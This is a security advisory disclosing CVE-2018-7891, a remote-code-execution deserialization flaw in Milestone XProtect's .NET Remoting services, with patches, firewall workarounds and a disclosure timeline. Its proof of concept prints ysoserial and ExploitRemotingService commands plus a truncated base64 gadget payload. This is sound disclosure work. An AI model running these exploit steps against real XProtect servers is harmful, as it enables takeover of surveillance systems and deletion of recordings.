

Milestone XProtect .NET Deserialization Vulnerability

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Content

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Advisories

Milestone XProtect .NET Deserialization Vulnerability

| Product | Milestone XProtect VMS | | | Severity | High | | | CVE Reference | CVE-2018-7891 | | | Type | Untrusted Deserialization | |

Description

The Milestone XProtect Video Management Software (Corporate, Expert, Professional+, Express+, Essential+) contains .NET Remoting endpoints that are vulnerable to deserialization attacks resulting in remote code execution.

The XProtect line of software is used for the management of surveillance and CCTV cameras for organisations, allowing video streams to be recorded and archived from

multiple different device types.

Impact

Exploitation of this flaw could allow a network attacker access to the XProtect Management and Recording servers and all stored data and recordings. An attacker could also disable the service to prevent recordings, or remove existing recordings.

By default the services are installed and run under the 'NT Authority\Network Service' account limiting full access to the host. In an Active Directory environment they may be run using a domain account.

Cause

A number of .NET Remoting services are used for inter-process communication within the Xprotect environment. These were found to use the BinaryServerFormatterSinkProvider class with the TypeLevelFilter set to 'Full'. This allows arbitrary deserialization of objects sent by clients. No authentication was required to establish a connection and these services were bound to 0.0.0.0 making them remotely accessible on all interfaces.

Interim Workaround

Milestone have provided the following guidance:

https://supportcommunity.milestonesys.com/s/article/XProtect-NET-security-vulnerability?language=en_US

MWR's original workaround:

Add firewall rules to prevent remote access to the following TCP ports: 8966, 9993.

If recording servers are hosted separately add specific rules to allow access from these hosts on TCP port 9993.

Solution

Milestone have now provided HotFix and cumulative patches: https://supportcommunity.milestonesys.com/s/article/XProtect-VMS-NET-security-vulnerability-hotfixes-for-2016-R1-2018-R1?language=en_US

MWR's original guidance to the developers:

.NET Remoting is no longer recommended by Microsoft who suggest that all communication should use the Windows Communication Foundation (WCF) protocol. A number of services within the Xprotect ecosystem already use WCF so these remaining .NET Remoting services should be migrated at the earliest opportunity.

Interim developer mitigations could include:

- Set the BinaryServerFormatterSinkProvider TypeLevelFilter to 'low' – may still be vulnerable to other serialization attacks
- Bind the RecorderService endpoint to localhost

- Enabling 'security' on the .NET Remoting tcp channel to prevent access from anonymous attackers

Technical details

Two remotely accessible .NET Remoting services are run in a default installation of Xprotect:

- tcp://0.0.0.0:8966/RecorderService.rem
- gtcp://0.0.0.0:9993/RemotingObjectProvider.rem

RecorderService.rem runs under the 'Milestone Xprotect Recording Server' service VideoOS.Recorder.Service.exe and would be present on all recording servers. In the Milestone documentation it is noted as a 'local connection only', but was accessible on all interfaces. It uses the BinaryServerFormatterSinkProvider with TypeFilterLevel explicitly set to 'Full'. The default configuration sets RejectRemoteRequests to 'false', but setting this to 'true' did not affect exploitation.

```
// VideoOS.Recorder.Service.StateProvider
public void Start()
{
    ListDictionary listDictionary = new ListDictionary();
    listDictionary.Add("name", "VideoOS.Recorder.Service.StateProvider");
    listDictionary.Add("port", this.Port);
    if (Socket.OSSupportsIPv4)
    {
        **listDictionary.Add("bindTo", IPAddress.Any.ToString());**
    }
    else
    {
        listDictionary.Add("bindTo", IPAddress.Ipv6Any.ToString());
    }
    if (this.RejectRemoteRequests)
    {
        listDictionary.Add("rejectRemoteRequests", "true");
    }
    listDictionary.Add("suppressChannelData", "true");
    **
    this._tc = new TcpServerChannel(listDictionary, new
BinaryServerFormatterSinkProvider
    {
        TypeFilterLevel = TypeFilterLevel.Full
    });**
    ChannelServices.RegisterChannel(this._tc, false);
    RemotingServices.Marshal(this._serviceObject, "RecorderService.rem");
}
```

Proof of Concept

This service is exploitable using James Forshaw's ExploitRemotingService tool and his TypeConfuseDelegate gadget (generated from ysoserial.net):

```
**ysoserial.exe -o base64 -g TypeConfuseDelegate -f BinaryFormatter -c "mkdir c:\temp & whoami > c:\temp\whoami.txt"**
```

[illegible]

```
**ExploitRemotingService.exe tcp://192.168.159.161:8966/RecorderService.rem raw
```

AAEEAAD/////AQAAAAAAAAAMAgAAAEITeXN0ZW0sIFZlcnNpb249NC4wLjAuMCMwQ3VsdHVyZT1uZXV0cmFsLCBQdWJsawNLZXlUb2t1bj1iNzdhdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWNoaw9ucy5HZW5lcm1jLlNvcnRlZFNldGAXw1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLDBDdWx0dXJlPW5ldXRyYWwSIFB1YmxpY0tleVRva2VuPWl3N2E1YzU2MTkzNGUwOD1dXQAAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VucXJpYy5Db21wYXJpc29uQ29tcGFyZXJqMVBtbU3lzdGVtLlN0c

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The RemotingObjectProvider.rem runs under 'Milestone Xprotect Management Server' via VideoOS.Server.Service.exe, and would be present on any management servers. It listens on TCP port 9993 and must be accessible for any remote recording servers. This service uses a custom communication channel 'GenuineChannels', but also set the TypeFilterLevel to full.

```
// VideoOS.Server.RecorderCommunication.RecorderCommManager
private void InitializeRemoting()
{
    IDictionary dictionary = new Hashtable();
    dictionary["port"] = this.Port;
    dictionary["name"] = "Server_GTCP_1";
    dictionary["suppressChannelData"] = "true";
    dictionary["priority"] = "100";
    ...snip...
    **      BinaryServerFormatterSinkProvider binaryServerFormatterSinkProvider = new
BinaryServerFormatterSinkProvider();
            binaryServerFormatterSinkProvider.TypeFilterLevel = TypeFilterLevel.Full;**
    BinaryClientFormatterSinkProvider iClientChannelSinkProvider = new
BinaryClientFormatterSinkProvider();
    ...snip...
    this._genuineTcpChannel = new GenuineTcpChannel(dictionary, flag,
iClientChannelSinkProvider, binaryServerFormatterSinkProvider);
        ChannelServices.RegisterChannel(this._genuineTcpChannel, false);
        RemotingServices.Marshal(this._remotingObjectProvider,
"RemotingObjectProvider.rem");
}
```

To exploit this service modifications were required to the ExploitRemotingService project (<https://github.com/mwrlabs/ExploitRemotingService/tree/genuinechannels>) to communicate with the GenuineChannel.

In addition to these two remotely exploitable services the following services were only accessible on localhost:

- tcp://127.0.0.1:6473/ServerService.rem
- tcp://127.0.0.1:7474/SNMPAgentComm.rem
- tcp://127.0.0.1:7474/SNMPAgentComm.rem

The implementation appeared be vulnerable (potentially allowing local privilege escalation) but exploitation led to the services crashing before execution occurred.

References to a FailoverService.rem were also found within the code but this endpoint was not located on the tested configuration.

Detailed Timeline

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Date

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Summary

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2018-03-03

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Requested a security contact via the Milestone website contact form

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2018-03-07

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Contacted @milestonesys on for a security contact

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2018-03-08

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Contacted DKCERT for assistance obtaining a security contact

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2018-03-08

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Contacted Milestone security contact provided by DKCERT and requested PGP key

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2018-03-08

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Milestone security contact responds with PGP key

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2018-03-09

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Initial advisory report sent to Milestone security contact

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2018-03-09

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MITRE provide CVE number

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2018-03-13

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Security contact confirms receipt and expects a response on 2018-03-20

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2018-03-16

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Security contact provides update with firewall mitigation expected to be released to partners on 2018-03-23 and that investigations into long term solution are being performed

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2018-03-23

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Security contact asks if MWR can test the interim fix due to be released on the 27th March

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2018-03-27

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MWR confirm that the patches fix the immediate serialization flaws, preventing code execution. MWR note that .NET Remoting is still in use and could be vulnerable to future flaws discovered in .NET Remoting.

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2018-04-07

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Security contact informs that issue will be released to OEM partners on the 17th or 23rd April. Once OEM partners are patched a date for a wider public announcement will be made.

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2018-04-23

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Security contact informs that a public announcement will be made on the 25th April.

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2018-04-25

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Vendor publishes vulnerability details on <https://www.milestonesys.com/support/resources/cyber-security/>.

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Download

Download the advisory here.

